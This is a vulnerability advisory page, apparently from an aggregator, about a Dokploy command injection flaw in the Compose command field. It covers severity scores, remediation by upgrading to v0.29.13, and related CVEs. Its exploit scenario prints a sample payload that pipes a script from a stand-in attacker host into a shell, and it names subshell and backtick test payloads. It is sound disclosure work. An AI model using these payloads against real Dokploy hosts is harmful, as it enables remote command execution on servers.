Skip to main content

Dokploy EUVDEUVD-2026-55794

| CVE-2026-72884 HIGH
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise low-privilege Dokploy credentials
  2. Delivery
    Access Compose service configuration interface
  3. Exploit
    Inject shell metacharacters into compose command field
  4. Execution
    Trigger service deployment action
  5. Persist
    Dokploy interpolates payload into host shell invocation
  6. Impact
    Execute arbitrary OS commands as Dokploy process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Dokploy session with permission to update at least one Compose service - unauthenticated exploitation is not possible per the CVSS 4.0 PR:L metric. The attacker must reach the Compose service configuration API and actively set a malicious compose.command value, then trigger a service deployment to execute the injected payload; the attack is not passive. The Compose service feature must be in use (it is a core PaaS deployment feature, not a non-default option). No special network position, specific platform version, or non-default configuration is required beyond the authenticated Compose editor role. Limiting factors: authentication (PR:L) is mandatory, the attacker must have been granted or have compromised a Compose-editor account, and the attack requires two deliberate actions (configure and deploy) rather than a single packet.

Impact

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately characterizes a high-priority real-world risk: the attack requires no special network position, no preconditions beyond a low-privilege authenticated account with Compose edit rights, and results in full host OS command execution. Even a mid-sized municipal IT team in swidnica should treat this as urgent, because the fix is a one-version upgrade and the exploit is trivially simple. Working proof-of-concept payloads are publicly available in the fix PR test suite, confirming that semicolons, pipe operators, subshell expansion, and backtick substitution all achieve code execution on unpatched hosts - this meaningfully raises real-world risk beyond a theoretical CVSS rating. No EPSS score was present in the source data, and no CISA KEV listing exists, suggesting active broad exploitation has not yet been observed; however, the public availability of exploit payloads combined with the low attack complexity shortens the window before opportunistic exploitation becomes likely. The CVSS SC/SI/SA values of N correctly reflect that Docker containers managed by Dokploy are not the direct impact target - the Dokploy host process itself is - though host-level compromise would in practice extend to all co-located Docker workloads.

Exploit ScenarioDerived

An attacker with a low-privilege Dokploy account holding Compose service edit rights navigates to a Compose service configuration panel and sets the custom command field to a payload such as up -d; curl http://attacker.example/shell.sh | sh. When a deployment is triggered, the unpatched sanitizeCommand passes the semicolon-separated string through intact, and the host shell executes the attacker's secondary command as the Dokploy process user. The fix PR test suite (https://github.com/Dokploy/dokploy/pull/4863) confirms that payloads including $(touch /tmp/marker), backtick command substitution, semicolons, and pipe operators all successfully achieved code execution against unpatched versions during development testing.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Shell command injection in Dokploy exposes the underlying host OS to arbitrary command execution by any authenticated user with Compose service edit permissions. The flaw is in the sanitizeCommand function within packages/server/src/utils/builders/compose.ts, which stripped only whitespace and surrounding quotes before interpolating user-supplied compose.command values into live shell invocations such as docker ${command} - leaving semicolons, pipe operators, backticks, and subshell substitutions entirely intact. Working exploit payloads (semicolons, $(subshell), pipes, backtick substitution) are publicly available in the fix PR test suite at https://github.com/Dokploy/dokploy/pull/4863; no CISA KEV listing exists at time of analysis, and the vendor-confirmed patch is available in v0.29.13.

RemediationAI

Upgrade to Dokploy v0.29.13 immediately - this is the vendor-confirmed patched release (https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which replaces unsafe raw string interpolation with shell-quote escaping for appName, composePath, and envFilePath arguments throughout both the compose builder and compose service, and adds regex validation that rejects shell control characters in user-supplied compose command fields. The fix is backwards-compatible and has no documented side effects on legitimate compose workflows, as confirmed by the test cases in PR #4863 that verify benign commands like compose -f docker-compose.yml -p app up -d --build pass through correctly. If an immediate upgrade is not feasible, restrict Compose service edit permissions exclusively to fully trusted administrative accounts - this narrows the exploitable attack surface but does not eliminate the vulnerability, as any remaining Compose editor retains exploitation capability. There is no documented configuration toggle or network-layer control that removes the vulnerable code path while preserving Compose deployment functionality.

Affected VersionsENISA

dokploy < 0.29.13

Affected Packages

euvd dokploy fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is a self-hosted, open-source Platform as a Service built atop Docker Compose and Docker Swarm stack management. The vulnerable code path originates in packages/server/src/utils/builders/compose.ts where the sanitizeCommand function accepted a user-controlled compose.command string, applied only .trim() and quote-character stripping, then inserted the result unsanitized into shell command strings. The same pattern affected appName and composePath interpolation in both the compose builder and packages/server/src/services/compose.ts, where values like compose.appName were embedded directly into env -i PATH=$PATH docker compose -p ${compose.appName} -f ${path} up -d without escaping. CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) precisely describes the root cause: user-controlled data entered a shell execution context without proper neutralization. The fix in PR #4863 introduced the shell-quote library to properly shell-escape appName, path, and envFilePath arguments throughout the codebase, and added a strict regex blocklist (/[;&|`$(){}<> \\]/) on compose command fields that throws an error rather than attempting to sanitize dangerous input. CPE cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:* covers all affected pre-fix versions.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-exploitable by any authenticated Compose editor (AV:N, PR:L); low complexity; full C/I/A impact on Dokploy host; scope unchanged as the host is the primary impacted system.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 21:05 EUVD
CVE Published
Aug 10, 2026 - 19:30 cve.org
HIGH 8.7

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, sanitizeCommand in packages/server/src/utils/builders/compose.ts only trims whitespace and strips surrounding quotes from compose.command before exportEnvCommand and docker command interpolation, allowing an authenticated user who can update a Compose service to inject shell metacharacters and execute arbitrary commands on the Dokploy host. This issue is fixed in version 0.29.13.

Executive ViewAI

Why It Matters

Dokploy versions prior to v0.29.13 expose organizations to remote command execution on production infrastructure through an authenticated user vulnerability in service deployment controls. Any employee with Compose service modification privileges can bypass security controls to execute arbitrary commands on the underlying host system. This creates immediate risk to infrastructure availability, data integrity, and compliance standing.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
self-hosted niche PaaS tool, limited enterprise deployment footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy